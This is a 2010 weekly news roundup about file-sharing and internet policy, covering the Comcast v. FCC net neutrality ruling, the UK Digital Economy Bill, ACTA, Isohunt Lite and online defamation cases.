Peer-To-Peer News - The Week In Review - April 10th, '10

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April 10th, 2010




FCC Loses Key Ruling on Internet `Neutrality'

Federal appeals court rules for Comcast and against FCC on key `net neutrality' case
Joelle Tessler

A federal court threw the future of Internet regulations and U.S. broadband expansion plans into doubt Tuesday with a far-reaching decision that went against the Federal Communications Commission.

The U.S. Court of Appeals for the District of Columbia ruled that the FCC lacks the authority to require broadband providers to give equal treatment to all Internet traffic flowing over their networks. That was a big victory for Comcast Corp., the nation's largest cable company, which had challenged the FCC's authority to impose such "Net neutrality" obligations on broadband providers.

The ruling marks a serious setback for the FCC, which is trying to adopt official net neutrality regulations. FCC Chairman Julius Genachowski, a Democrat, argues that such rules are needed to prevent phone and cable companies from using their control over Internet access to favor some online content and services over others.

The decision also has serious implications for the massive national broadband plan released by the FCC last month. The FCC needs clear authority to regulate broadband in order to push ahead with some its key recommendations, including a proposal to expand broadband by tapping the federal fund that subsidizes telephone service in poor and rural communities.

Comcast and the FCC had no immediate comment.

The court case centered on Comcast's challenge of a 2008 FCC order banning the company from blocking its broadband subscribers from using an online file-sharing technology known as BitTorrent. The commission, at the time headed by Republican Kevin Martin, based its order on a set of Net-neutrality principles it adopted in 2005 to prevent broadband providers from becoming online gatekeepers. Those principles have guided the FCC's enforcement of communications laws on a case-by-case basis.

But Comcast had argued that the FCC order was illegal because the agency was seeking to enforce mere policy principles, which don't have the force of regulations or law. That is one reason that Genachowski is now trying to formalize those rules.

The cable company had also argued that the FCC lacks authority to mandate Net neutrality because it deregulated broadband in a decision upheld by the Supreme Court in 2005.

The FCC now defines broadband as a lightly regulated information service. That means it is not subject to the obligations traditional telecommunications services have to share their networks with competitors and treat all traffic equally. But the agency argues that existing law gives it authority to set rules for information services, including Net neutrality rules.

Tuesday's court decision rejected that reasoning, concluding that Congress has not given the FCC "untrammeled freedom to regulate activities over which the statute fails to confer ... commission authority."

With so much at stake, the FCC now has several options. It could ask Congress to give it explicit authority to regulate broadband. Or it could appeal Tuesday's decision to the Supreme Court.

But both of those steps could take too long because the agency "has too many important things they have to do right away," said Ben Scott, policy director for the public interest group Free Press. Free Press was among the groups that alerted the FCC to Comcast's behavior after The Associated Press ran tests and reported that the cable company was interfering with attempts by some subscribers to share files online.

The more likely scenario, Scott believes, is that the agency will simply reclassify broadband as a more heavily regulated telecommuniciations service. And that, ironically, could be the worst-case outcome from the perspective of the phone and cable companies, he noted.

"Comcast swung an ax at the FCC to protest the BitTorrent order," Scott said. "And they sliced right through the FCC's arm and plunged the ax into their own back."

The battle over the FCC's legal jurisdiction comes amid a larger policy dispute over the merits of Net neutrality. Backed by Internet companies such as Google Inc. and the online calling service Skype, the FCC says rules are needed to prevent phone and cable companies from degrading or blocking cheaper Internet calling services or online video sites that compete with their core businesses. Indeed, BitTorrent can be used to transfer large files such as online video, which could threaten Comcast's cable TV business.

But broadband providers such as Comcast, AT&T Inc. and Verizon Communications Inc. argue that after spending billions of dollars on their networks, they should be able to manage their systems so that high-bandwidth applications such as BitTorrent don't hog capacity and slow the network for everyone else.
http://finance.yahoo.com/news/US-cou....html?x=0&.v=4





'Debate Needed' on Digital Bill
BBC

Opponents of the controversial Digital Economy Bill have urged MPs to give it "the debate it deserves" when it is discussed in the Commons later.

The bill includes plans to give Ofcom powers to cut off internet connections of persistent net pirates and measures which could see some websites blocked.

Campaigners have booked newspaper ads claiming the government aims to "fast track it into law before the election".

The government said the bill had been debated several times.

"The Digital Economy Bill has been extensively debated and scrutinised in the House of Lords, with seven days in Committee and three days in Report Stage," a spokesperson for the Department of Business Innovation and Skills (Bis) told the BBC.

"The bill spent three months in the House of Lords, and we have made significant amendments to strengthen and clarify it."

The second reading of the bill will begin at around 1530 BST. The discussion would "carry on through the day as required", said the spokesman.

It is supported by the creative industries and organisations such as the trade union-led Creative Coalition Campaign (CCC), which has encouraged people to write to their MP to back the bill.

The CCC has taken out a full-page newspaper advert which appears in the Guardian asking MPs to support the bill, saying: "We need to act now before even more jobs come under threat."

'Wash-up'

The opposition advert, which appears in the Guardian and the Times, was bought by the Open Rights Group (ORG) and digital campaigners 38 Degrees, paid for by donations.

Headlined "20,684 of us demand a proper debate on the Digital Economy Bill", it claims that most people have "major worries" about the plans but they are being fast-tracked into law "sidestepping debate and opposition".

The campaigners have been encouraging people to e-mail their MP to protest against the bill and say that 20,684 have already done so.

But the ORG believes the bill may be pushed through in the so-called "wash-up" period, where outstanding bills are quickly vetted and voted through Parliament usually in the last 48 or 72 hours before a dissolution.

The Bis spokesperson said it was not possible to predict whether the bill would be part of "any hypothetical 'wash-up' period".

Future proof

The Digital Economy Bill contains several controversial elements, including a so-called "three strikes rule", which would give regulator Ofcom new powers to disconnect or slow down the connections of persistent net pirates.

A recent industry study, by economics firm TERA Consultants on behalf of the International Chamber of Commerce, said that the UK's creative industries experienced losses of 1.4bn euros (£1.2bn) in 2008 due to piracy.

DIGITAL ECONOMY BILL
# Legal framework for tackling copyright infringement via education and technical measures
# New duties for Ofcom to assess the UK's communications infrastructure every two years
# Modernising spectrum to increase investment in mobile broadband
# Framework for the move to digital radio switchover by 2015
# Updating Channel 4 functions to encompass public service content, on TV and online
# Age ratings compulsory for all boxed video games aimed at those over 12 years

"The bill is a sensible and much needed response to what has become an unacceptable situation for those whose livelihoods depend on the success of the creative industries," said Martin Spence, assistant general secretary of Bectu and a representative of CCC.

But critics of the bill - including several leading internet service providers (ISPs) - say it can be difficult to identify persistent file-sharers, particularly those that share a web connection or use a public access point.

The opposition adverts say that this "could mean millions of homes, schools and libraries are threatened with internet disconnection and tribunals".

"It could also spell the end of free, open wireless internet in the UK," it continues.

ORG have also outlined concerns to Clause 18 of the bill.

This originally outlined how the government intended to create the power to deal with new unforeseen methods of copyright infringement, without the need for further legislation. Powers could include the right to block access to websites.

The clause has been amended several times, with one version presented to the House of Lords shown to have been largely drafted by music industry group the BPI.

Web firms including Google and Facebook have objected to previous drafts.

A new amendment - to be introduced at the second reading - grants "limited power to propose regulations in the future", including the ability to block websites, after consultation with industry.

"We think clauses 11 to 18 - which allow people to be disconnected and websites to be blocked - should be dropped," said ORG's Jim Killock.

'Fuller debate'

Other groups have also spoken out about the bill.

Jeremy Silver, acting CEO of the Featured Artists Coalition, which campaigns for performers' and musicians' rights, said the bill was of "tremendous importance" and much of it was "very valuable".

"However, there are quite a few sections which are quite controversial and quite difficult to understand and have been amended a lot during the course of the passage of the bill," he said.

"If democracy is to be meaningful in a case like this then that debate needs to be aired and continued in the right places," said Mr Silver.

He also questioned whether dealing with it during the "wash-up" period would be appropriate for a bill on which there was such a lack of consensus.

The Liberal Democrats have said they will oppose any plans to rush it into law and have called for the bill in its present form to be scrapped and re-introduced in the next Parliament.
http://news.bbc.co.uk/go/pr/fr/-/2/h...gy/8603285.stm





Q&A: The Digital Economy Bill

ISPs Could Soon be Asked to Monitor the Online Activities of Their Users
BBC

The Digital Economy Bill is due for its second reading in the House of Commons and could become law during the wash-up period, which sees outstanding legislation rushed through before a general election.

But the most controversial aspects of the bill - which could see persistent illegal file-sharers disconnected from the web and copyright holders given the power to block access to websites hosting illegal content - deserve greater debate say critics.

What does it mean for me?

Nothing yet. If the Digital Economy bill becomes law the wheels will be set in motion but initially this will mean those identified as downloading illegal content will be sent letters asking them to stop and pointing out legal alternatives.

If this is considered to be ineffective, regulator Ofcom will be able to introduce technical measures down the line, which could include limiting the speed or capacity of an individual's service or suspending their service completely.

How big is the problem?

It is notoriously difficult to measure how much illegal file-sharing is going on. It is reported that more than half of all the traffic on the net in the UK is content being shared illegally but service providers say they cannot measure it exactly.

The creative industries estimate that six million people in the UK regularly file-share copyright content without permission, costing the industries revenue that they cannot recoup.

A recent study, by economics firm TERA Consultants, estimated that the UK's creative industries experienced losses of £1.2bn in 2008 due to piracy.

Pressure from the rights owners has been met with resistance from the ISPs and digital rights campaign groups who argue that there is no sign of reduction in the amount of file-sharing.

What do those opposed to the measures say?

ISPs have long said they do not want to become the internet police, and have also pointed out that under the law as it stands they are mere conduits of the traffic on the net.

Many ISPs signed up to a voluntary agreement that saw them send letters to users they suspect of sharing content illegally but this scheme ended in January 2009.

The full-time role of monitoring traffic on their networks will fall to rights-holders although ISPs will have to bear some of the costs. The Department for Business, Innovation and Skills has proposed that the costs of tracking down file-sharers be split between the ISPs and the rights owners.

The Open Rights Group has been very vocal in its opposition to aspects of the Digital Economy Bill, most notably the plans to disconnect users from the web.

Together with digital rights campaigners 38 Degrees it has raised over £20,000 to roll out advertisements in national newspapers condemning the bill.

As a result of its campaign, over 20,000 people has written to their MPs asking them to vote against the bill.

Is cutting people off from the net the only controversial aspect of the bill?

No. Opponents are also concerned about plans to force internet service providers to block websites that host copyright free material.

The part of the bill that refers to this, Clause 18, has been rewritten by the government over the last week.

Originally the clause was intended to future-proof the legislation against other methods of copyright theft not yet thought about.

While it still allows copyright owners to force service providers to block access to certain sites, the process will now to subject to parliamentary scrutiny.

Copyright owners would also need evidence that the downloading of material from the site was having a "serious effect" on businesses or consumers.

There are also concerns about how the file-sharing measures will affect public wi-fi services. As the law stands, the owner of a connection could be held liable even if they are not personally responsible for downloading pirated material so, for instance, if someone used wireless connectivity in a cafe to download free content, the cafe owner would be held responsible.

What are the UK creative industries asking for?

Nine bodies representing the creative industries - among them the BPI, the body representing British record labels, the Federation Against Copyright Theft, and trade five unions, including the Musicians' Union - have in the past expressed a desire for the government to force Internet Service Providers (ISPs) to warn, throttle the speed of connection and ultimately disconnect persistent illegal file-sharers.

They want a commitment to stopping file-sharing and the responsibility for doing so to be placed on the ISPs and for that to be enshrined in legislation.

The games industry has already begun a clampdown of those illegally sharing videogames and the methods it uses would broadly be similar to those the music and film industry want.

A handful of law firms have begun sending letters to those identified as downloading illegal content, demanding they pay a one-off fine or face court action. The BPI has condemned this approach.

How will illegal file-sharers be detected?

ISPs routinely monitor traffic sent over their network, for maintenance and security purposes.

While it is relatively simple to monitor traffic sent using file-sharing programs, it is technically more challenging to know what exactly is being shared.

If the bill becomes law, the responsibility of tracking down pirates will lie with content rights owners. They plan to monitor websites which offer links to copyright content and then obtain the Internet Protocol (IP) address of the online computer being used to share that data.

ISPs tend to own blocks of IP addresses, so it is relatively simple to identify the broadband account holder that is tied to a particular IP address at a particular time.

But this is a slow, and time-consuming procedure. One solution is to employ deep packet inspection (DPI) to look at the content of the "packets" of data being sent over the net.

DPI can examine the contents of shared data and then using digital fingerprinting technology to see if the file is being exchanged with consent or not.

Will banning persistent file-sharers work?

The creative industries believe illegal file-sharing is almost endemic while the government has set a target of reducing the problem by at least 70% in the next two or three years.

The difficulty is that the problem is a moving target. More persistent file-sharers are already beginning to use software which masks their IP address while online, and the files being exchanged are encrypted, so it is harder for ISPs to use DPI technology.

However, the music and film industries are more likely attempting to target the "soft, underbelly" of file-sharing: the teenagers who are doing it because they are either apathetic or believe they can get away with it.

That raises another difficult issue in the debate about disconnecting file-sharers: they may be sharing their internet connection. Teenagers are likely to be using a connection at their parents' homes, and shared housing may see a number of independent users with just one file-sharer in their midst.

How have other countries dealt with the problem?

Countries around the world are grappling with how to control internet piracy.

In the US, student Joel Tenebaum, who has admitted downloading 800 songs, was last year ordered to pay $675,000 (£412,000) to various record labels after being found guilty on 31 charges of sharing music online.

In May 2009, the French parliament passed legislation which would see a new state-agency sending warning letters to file sharers. If they are caught three times, they will be cut off.

There have been protests against similar proposed legislation in Australia and New Zealand.

In response to the French legislation, European politicians ruled that cutting off someone's internet connection could be a breach of their human rights.
http://news.bbc.co.uk/2/hi/technology/8604602.stm





Final Battle for File-Sharing Bill

The digital economy bill will be caught up in the wash up

Opponents of the anti-file-sharing bill are making last-ditch attempts to prevent the passage of the legislation today.

Campaigners say the wash up period, where legislation is rushed through parliament before it is dissolved for the general election campaign, means the bill will not receive the proper debate it needs.

But government figures say the bill has been debated several times and fully scrutinised in both Houses of parliament.

The digital economy bill will give Ofcom powers to cut off the internet connections of households who persistently file-share video and audio files.

Campaigners say the move simply caves in to music and film industry demands puts internet service providers in a policing role and infringes internet users' civil liberties.

The second reading of the bill will begin around 15:30 BST.

The Creative Coalition Campaign (CCC) took out a full-page newspaper advert today calling on MPs to support the bill, saying file-sharing threatens creative industries.

But Open Rights Group (ORG) and digital campaigners 38 Degrees have taken out their own advert, demanding proper debate on such a crucial piece of legislation.
http://www.politics.co.uk/news/culture-media-and-sport/final-battle-for-file-sharing-bill-$1369258.htm





Digital Economy Bill Begins Passage Through Commons

On 6 April 2010, MPs began deliberations at second reading on the Digital Economy Bill, which seeks to tackle online piracy and illegal file-sharing by enforcing internet bans for persistent offenders.

It also provides for the digital switchover of radio by 2015 and modernisation of mobile and wireless broadband connections.

A clause allowing ministers wide-ranging powers to amend copyright law to respond to future technological changes was removed as the bill underwent scrutiny in the House of Lords.

Peers voted to replace it with new arrangements allowing websites containing "substantial" amounts of copyright material to be blocked.

This has proved controversial with internet companies, consumer rights campaigners and academics who fear it could "threaten freedom of speech and the open internet".

MPs expressed concern that there was not enough time left to scrutinise the bill fully before Parliament is dissolved for the general election.
http://news.bbc.co.uk/democracylive/...00/8597125.stm





Digital Economy Bill Rushed Through Wash-Up in Late Night Session

Government drops clause on orphan works but inserts amendment criticised as over-broad which could block sites based on 'intent'

The House of Commons during the third reading of the digital economy bill, April 2010

The government forced through the controversial digital economy bill with the aid of the Conservative party last night, attaining a crucial third reading – which means it will get royal assent and become law – after just two hours of debate in the Commons.

However it was forced to drop clause 43 of the bill, a proposal on orphan works which had been opposed by photographers. They welcomed the news: "The UK government wanted to introduce a law to allow anyone to use your photographs commercially, or in ways you might not like, without asking you first. They have failed," said the site set up to oppose the proposals.

But despite opposition from the Liberal Democrats and a number of Labour MPs who spoke up against measures contained in the bill and put down a number of proposed amendments, the government easily won two votes to determine the content of the bill and its passage through the committee stage without making any changes it had not already agreed.

Tom Watson, the former Cabinet Office minister who resigned in mid-2009, voted against the government for the first time in the final vote to take the bill to a third reading. However the vote was overwhelmingly in the government's favour, which it won by 189 votes to 47.

Earlier the government removed its proposed clause 18, which could have given it sweeping powers to block sites, but replaced it with an amendment to clause 8 of the bill. The new clause allows the secretary of state for business to order the blocking of "a location on the internet which the court is satisfied has been, is being or is likely to be used for or in connection with an activity that infringes copyright".

The Liberal Democrat MP John Hemming protested that this could mean the blocking of the whistleblower site Wikileaks, which carries only copyrighted work. Stephen Timms for the government said that it would not want to see the clause used to restrict freedom of speech – but gave no assurance that sites like Wikileaks would not be blocked.

Don Foster, the Liberal Democrats' spokesman for culture, media and sport, protested that the clause was too wide-ranging: "it could apply to Google," he complained, adding that its inclusion of the phrase about "likely to be used" meant that a site could be blocked on its assumed intentions rather than its actions.

The Lib Dem opposition to that amendment prompted the first vote - known as a division – on the bill, but the Labour and Conservative whips pushed it through, winning it by 197 votes to 40. The next 42 clauses of the bill were then considered in five minutes.

Numerous MPs complained that the bill was too important and its ramifications too great for it to be pushed through in this "wash-up" period in which bills are not given the usual detailed examination.

However the government declined to yield – although it had already done a deal with the Tories which meant that a number of its provisions, including clause 43 and the creation of independent local news consortia, would not be part of the bill.
http://www.guardian.co.uk/technology...-third-reading





Anger About Digital 'Stitch-Up'
BBC

Ministers have been accused of a "stitch-up" to pass laws cracking down on digital piracy before the election.

MPs voiced anger at the digital economy bill - aimed at supporting artists' copyright and tackle illegal file-sharing - being rushed into law.

Former minister Tom Watson had argued it would be a "catastrophic disaster" if the bill was passed as constituted.

However, the bill was approved by MPs by a majority of 142 votes and it passed through the Lords on Thursday.

The legislation was one of more than 10 bills being considered by parliamentarians in the "wash-up period" - the remaining time before the legislature is dissolved.

Parliament was prorogued late on Thursday afternoon, meaning any bills that had not been passed would fail to become law.

'Repercussions'

Under the terms of the Digital Economy Bill, internet service providers will be obliged to send letters to any of their subscribers linked to alleged infringements.

Copyright holders will be able to apply for a court order to gain access to the names and addresses of serious infringers and take action against them while ISPs would be able to suspend accounts of offenders.

Mr Watson had expressed concern this could lead to innocent internet users being caught simply since they lived in the same building as infringers.

"There might be a deal with the Tory front bench and the Lib Dem front bench but there are 20,000 people who have taken the time to e-mail their MPs about this in the last seven days alone," Mr Watson said of the proposals.

"They are extremely upset that this bill will not have the scrutiny it deserves and requires."

Labour MP Kate Hoey complained the bill was being pushed through by a "stitch-up" between leaders of the three main parties.

And she added: "The reality is out there, the ordinary person who has only begun, many of them, to realise the repercussions of this bill are going to feel totally let down by Parliament."

Ministers had made a number of earlier concessions in order to assuage the concerns of MPs.

Restrictions on the activities of persistent copyright offenders will not come into force for a year and only on the basis of clear evidence of their activities.

A clause on "orphan works" - material where the author was impossible to identify - was also dropped after opposition from photographers.

Another proposal allowing politicians to block pirate websites without primary legislation was replaced with an amendment which lets ministers "make provision about the granting by a court of a blocking injunction".

Google, which has repeatedly voiced opposition to the plans to block websites, said the bill had "escaped proper scrutiny".

"We absolutely believe in the importance of copyright, but blocking through injunction creates a high risk that legal content gets mistakenly blocked, or that people abuse the system," a spokesman added.

'Not victimless'

The next Parliament will be able to study the most contentious aspects of the bill before they are enacted and there will be an extended period of public consultation.

Culture Secretary Ben Bradshaw said the legislation struck the right balance between giving creative artists more protection and giving consumers a "fair deal".

"Hundreds of millions of pounds every year is currently haemorrhaging from our creative industries because of unlawful file-sharing.

"This is not a harmless or victimless activity. It deprives our musicians, writers and film makers and other artists of their livelihoods and if we don't do something about it, it will pose a serious threat to our creative sectors and Britain's in them."

The Conservatives said the bill, as it stood, was an "Amstrad" when "we wanted an IPod".

For the Lib Dems, Don Foster said it was a "disgrace" that a bill of such complexity was being given so little time for debate.

Jim Killock of the Open Rights Group said the legislation was an "an attack on everyone's right to communicate, work and gain an education".

The phone and broadband company Talk Talk said the revised bill was "in much better shape" but still contained "many draconian proposals".

The Pirate Party UK - which campaigns for the legalisation of non-commercial file sharing - said the passage of the bill marked "a sombre day for Britain's digital future".

However, UK Music chief executive Feargal Sharkey - former lead singer with the Undertones - said action was needed to stop pirates.

He told BBC Breakfast: "People are taking someone else's talent, time, effort and ability and not paying for it, and doing it without their permission.

"And quite clearly that's just wrong, and we need to try and do something to stop it."
http://news.bbc.co.uk/go/pr/fr/-/2/h...10/8608478.stm





TalkTalk 'to Continue Fighting Draconian Filesharing Law'
Joseph Andrews

UK broadband provider TalkTalk has sensationally vowed to defy the government's new anti-filesharing legislation.

Writing in the company blog, Andrew Heaney, Executive Director of Strategy and Regulation, said the internet service provider (ISP) would continue to battle against the "oppressive proposals" contained in the digital economy bill.

The proposed legislation - designed to enforce a clampdown on illegal filesharing activity - is set to gain Royal Assent this week, but that does not mean TalkTalk will be complying with the new law.

Mr Heaney said the firm will not surrender any customer's details to rights-holders unless served with a court order, while it will also refuse to disconnect any broadband user accused of copyright infringement.

"We are the only major ISP to have taken this stance and we will maintain it," he commented.

"After the election we will resume highlighting the substantial dangers inherent in the proposals and that the hoped-for benefits in legitimate sales will not materialise."

Mr Heaney claimed that when the bill becomes law, filesharers will simply switch to other undetectable methods to access online content for free.
http://top10.com/broadband/news/2010...esharing_law_/





ACTA Treaty Draws Fire in NZ Submissions

InternetNZ and the New Zealand Open Source Society express their concerns

InternetNZ and the New Zealand Open Source Society have released their submissions to the Ministry of Economic Development’s consultation on this month’s ACTA negotiations, with the two organisations taking different, but equally critical tacks on the issue.

The MED's consultation sought information on how New Zealand should position itself on enforcement in the digital environment, the main subject of the Wellington round of negotiations.

The New Zealand Open Source Society submission (pdf), however, goes much broader than requested by the ministry, exploring the relationship between the US Digital Millennium Copyright Act (DMCA) and the New Zealand Copyright Amendment Act 2008 and the leaked provisions in ACTA.

"In this submission we will not only examine the public statements made about ACTA, but also the historical background of ACTA, writes NZOSS vice president Peter Harrison in the submission. "We will show that there has been a hidden agenda to pass intellectual property legislation, and that the only balance introduced was achieved through a public campaign to protect our rights. In every other way the intellectual property agenda has been set not by our Sovereign Government, but by multinational companies."

The NZOSS says on its website that it does not wish to see a regime where citizens will be disconnected from the internet based only on notices from rights holders, but rather maintain a position where proper judicial oversight and process will be maintained.

"The scope of submissions as requested by the Ministry of Economic Development was limited to specific questions about internet service providers," the society says. "The NZOSS felt that there were far broader concerns about the ACTA process itself and the impact of the entirety of ACTA, not just the provisions around internet service providers. As a consequence the submission was far broader that that requested."

The NZOSS says it wishes to ensure that the secret negotiations of ACTA do not override the democratic process in New Zealand, which saw a disconnection regime overturned and a new process put in place as a result of an internet blackout campaign and other protests.

MED negotiator George Wardle says there have been two previous rounds of requests for public submissions in which broader comment was sought. In May 2008, the public was asked to comment on what matters within ACTA should be the focus of the agreement for New Zealand and in May 2009 a further round of comment was requested on civil and criminal enforcement and border protection measures.

InternetNZ policy director Jordan Carter, meanwhile, says changes to enforcement make a real difference to the rights Kiwis enjoy under copyright and trademark law.

"Changes that reduce the access the public have to creative content must only be considered where strong evidence suggests they are needed," he says in a statement.

“That evidence simply does not exist."

InternetNZ’s submission argues that in the absence of such evidence, the digital enforcement framework should not be part of ACTA — and if it is, New Zealand should not sign the treaty.

“We prefer a safe harbour approach for minimising ISP liability, in line with the current New Zealand approach," Carter says. "We do not support the release of the details of alleged infringers to rights holders, and we do not support enhanced enforcement or protection of digital rights management systems or copyright management information.”

InternetNZ will host a PublicACTA event in Wellington on 10 April.
http://computerworld.co.nz/news.nsf/...nz-submissions





Piracy Rampant Among Spanish Government Officials
Ernesto

While the Spanish Government tries to ram through legislation that will enable the authorities to shut down file-sharing sites more rapidly, employees of the ministry responsible have been exposed as pirates. Fresh data shows that at nearly all ministries, staff have been downloading copyrighted material.

spain flagSpain is considered to be a safe haven for operators of file-sharing oriented websites. Courts have repeatedly ruled that if they don’t profit directly from infringements, such sites fall within the boundaries of the law.

In an attempt to change this situation, the Spanish Government has been working on new legislation under which sites offering links to copyright works could be taken offline within days of a complaint.

The change in law has been pushed for by the entertainment industries that claim to be hit hard by rampant piracy in Spain. The piracy rate has reached a level where movie companies are even considering putting a halt to selling DVDs in Spain, claiming that it’s just not worth the effort because piracy is baked into Spain’s culture.

Indeed, many Spaniards consider casual downloading of copyrighted music and movies as an acquired right and thus far they have had the law on their side. Even if the newly proposed anti-piracy legislation passes, it is highly doubtful that downloading habits will change. At the Ministry of Culture, where the new legislation is being prepared, employees are still downloading as if nothing is about to change.

Data gathered by the Spanish TV-channel VEO 7 revealed that at the Ministry of Culture, several employees have been downloading music and TV-series without consent from the copyright holders.

According to the report, the Ministries of Defense and Education are the most active file-sharers, with employees using file-sharing applications to download erotic calendars, music, movies and lots of other goods.

In other Government bodies staff members have also been caught red-handed while sharing copyrighted files, including the Presidency where a brain training game was downloaded without authorization.

The embarrassing revelations come from Angel Badia, a Houston based ‘hacker’ who decided to prove what many people suspected all along. Badia identified the ministries by the IP-addresses that are publicly displayed in most file-sharing applications.

Badia’s data shows that it will be hard to deter Spaniards from sharing files through new legislation. If even the people who are trying to get the new law implemented can’t break with their habit, how can they expect that the public will?
http://torrentfreak.com/piracy-rampa...icials-100403/





Google Gets Happy-Clappy with File Transfer in Talk Widgets
Kelly Fiveash

Google has finally slotted peer-to-peer file transfers into its iGoogle and Orkut talk widgets.

Mountain View said it planned to - eventually - bring the long-awaited feature to Gmail too.

The file transfer addition means that users chatting in iGoogle and Orkut will no longer have to switch to email to send the file as an attachment.

"File transfer works directly in the browser so you don't need to install anything. Just start a conversation with a friend and click 'Send a file...' in the 'Actions' menu. After you select a file, your friend will be asked if they want to accept the transfer," said Google software engineer Bruce Leban in a blog post yesterday.

Google's decision to bolt file transfer on to its Talk widgets will be welcomed by many frustrated with Gmail's current attachment limit, which forces anyone wanting to send huge files to use a separate file-sharing service.

The ad broker did not reveal when Gmail will come loaded with the feature, however.
http://www.theregister.co.uk/2010/03..._talk_widgets/





Google's New Document Sharing App a Security Risk, Experts Say
Aliya Sternstein

A new feature on Google's customizable home page that allows consumers to transfer files heightens the risk that contractors might expose sensitive government documents, some security analysts say.

The giant Web-based search and software provider announced on March 29 that customers who use its personalized iGoogle page now can share photos, documents and other files with friends and colleagues online. Google also plans to add the feature to Gmail.

Google's large following, which includes federal contractors, will find it quick, easy and inexpensive to transfer company documents -- and potentially unencrypted government files, said former Gartner research director L. Frank Kenney.

"It's a simple two-click operation that is likely to be uncontrolled," said Kenney, now a vice president at Ipswitch Inc., a provider of secure file transfer applications. "You have to address that, especially in the contractor community, where they are interested in keeping the price point down for their operations."

While online chat services such as Google Talk and AOL Instant Messenger already offer file transfer features, Google's business model and its popularity make the tool more dangerous, he said. Google's strategy is to bundle services for users, even if they sign up for only one tool such as Gtalk. Kenney predicts Gtalk soon will be built into Google Docs, the company's free suite of office software.

If a user were to log into Google Docs, the program automatically would open up Gtalk. The ease of switching between the two applications increases the risk that a contractor might send a government file through Gtalk, either by accident or because it is cheaper than exchanging files on other licensed software.

Other security specialists say the file transfer feature in general is problematic, and the fact that Google is offering the capability on more services will not exacerbate the problem. Users often unwittingly expose materials through these applications because they do not understand the paths through which their data travels as it makes its way to recipients, said Johannes Ullrich, chief research officer at the SANS Technology Institute, a computer security training center.

"With Google Talk, at least you can apply some user controls," he said, noting some peer-to-peer file transfer services do not allow office administrators to block users from sending sensitive materials. Peer-to-peer file sharing allows people to instantly exchange materials, typically music or large documents, with others who have the same file sharing software..

Other industry sources noted file transfer has been available on Google Talk since 2006 and administrators can deactivate the chat service. Google's paid business applications do not offer the file transfer feature.

To ensure contractors do not exchange federal files through Google and other commercial applications, Ullrich advised companies and federal officials to use a control called data leakage protection. "It essentially looks at your outbound network traffic for confidential files," he said, likening the technique to the way antivirus software scans a computer. "Instead of looking for viruses, it looks for confidential data."

Google is concerned about privacy and security, said James Lewis, a senior fellow at the nonprofit Center for Strategic and International Studies and director of its technology and public policy program. Google recently rebuffed Chinese censorship rules and stopped filtering search results for Chinese users after discovering that hackers allegedly from China attempted to access the Gmail accounts of human rights activists.

Lewis views the Google applications as one more avenue for intruders to access networks. Some IT managers at companies told him they permit file transfer tools in the workplace because it makes employees better producers, he said. "Let's not overstate the risks. Let's not ignore the benefits," Lewis added.

A Google spokesperson said in a statement, "Organizations must determine the data sharing policies that are most appropriate for their employees, and we design our products to support administrators in enforcing the settings they choose. Our customers tell us that they are able to use our cloud computing applications to more securely share their information while teleworking than if they were to use other methods like storing data on portable devices that may be easily lost or stolen."
http://www.nextgov.com/nextgov/ng_20...p?oref=topnews





Isohunt Goes Lite for Visitors From the U.S.
Stan Schroeder

One week ago, we wrote that popular BitTorrent search engine Isohunt had been ordered by a U.S. judge to remove copyright-infringing content from their website.

Following the court decision, Isohunt owner Gary Fung announced his resolution to replace Isohunt with a lite version that would turn the site into a very simple search engine, intentionally similar to GoogleGoogleGoogle, but specializing in torrents. This is now the case for visitors from the US, who are redirected to the new, lite version of the site. Fung explains the move to the site’s visitors:

“Although we bring this new search engine to you with a burden from the lawsuit brought by the MPAA, we hope you understand the reason why we are making this change. It is to address concerns Judge Wilson has over inducing copyright infringement in the US. Though inducement is never our intention and we have evidence to support it, with isoHunt Lite we want to affirm publicly that isoHunt’s function is nothing more than a search engine with all the net neutrality it affords and should be afforded.”

He also addresses concerns that the site is now no different than Google or any other major search engine.

“Why would you still use isoHunt you ask now that it’s just like Google and Yahoo and you can search for torrents with those? While we won’t dispute there’s fundamental difference, on isoHunt Lite you get ranking by seeds/leechers and ratings besides search relevancy and age. A general search engine also do not group as one for identical torrents spread on multiple websites on the Web.”

It’s a cunning move that will likely expose some issues at the core of this and similar lawsuits. Now that Isohunt looks pretty much like Google, and the only difference from it (or some other “vanilla” search engine) is the fact that it provides ranking and ratings for the results, can one still argue that Isohunt is infringing copyrighted content and Google is not?
http://mashable.com/2010/04/06/isohunt-lite/





Judge Sues Over Alleged Internet Remarks

An Ohio judge filed a $50 million lawsuit against a newspaper, claiming it conspired with Web site entities to discover private information, documents indicate.

A complaint was filed by Judge Shirley Strickland Saffold and her daughter, Sydney Saffold, Wednesday seeking damages from the Cleveland Plain Dealer and Advance Internet after the newspaper alleged the judge may have made anonymous comments on the newspaper's Web site about cases before the court, ABC News reported.

Shirley Saffold and her attorney, Brian Spitz, claim any comments from a user going by the name "lawmiss" connected to cases involving the judge were most likely left by the judge's 23-year-old daughter Sydney, an aspiring law student.

"(Judge Saffold) is judicially precluded from commenting on any case before her," Spitz said.

The Plain Dealer alleges the user name "lawmiss" is connected to an e-mail account registered to Judge Saffold. Spitz says it's a family e-mail account set up by the judge's Saffold's ex-husband, ABC said.

The newspaper says it investigated when the messages were posted.

"We filed a public records request and found that a computer in the judge's office was on the Web site at the time three of the comments were left."

"The only thing we did that the public couldn't do was figure out whose e-mail was associated with those comments in the first place," Plain Dealer Editor Susan Goldberg said.
http://www.upi.com/Top_News/US/2010/...4921270686534/





Supreme Court Wades into Internet Speech Debate with Hyperlinks Case
Janice Tibbetts

The Supreme Court of Canada, in one of its first cases dealing with the spread of information on the Internet, will decide whether the everyday practice of hyperlinking can expose a writer to a lawsuit if a linked article is defamatory.

"This case affects almost everybody on the Internet because the Internet works by linking from website to website to website," said David Fewer, director of the Canadian Internet Policy and Public Interest Clinic.

The court, without giving reasons, agreed Thursday to hear an appeal from Vancouver businessman Wayne Crookes, who alleges that writer Jon Newton defamed him by linking to reputation-smearing articles in a 2006 post about free speech on his website, www.p2pnet.net.

Crookes, a former campaign organizer and financial backer of the Green Party of Canada, lost in the B.C. Court of Appeal, which upheld a trial judge's conclusion that hyperlinks are akin to footnotes and do not constitute republication.

The hyperlinked blogs related to Crookes's role in the Green party. Newton did not repeat the content, nor did he include any comment about the links.

Crookes contends that Newton, by creating the hyperlinks and then refusing to remove them when advised they were libellous, became a publisher by his inaction.

"Given that Mr. Newton didn't break the hyperlink and continued to act as a chain of publication, Mr. Crookes is taking the position before the court that he is in fact republishing the defamation," said Dermod Travis, a spokesman for Crookes, owner of the company West Coast Title Search.

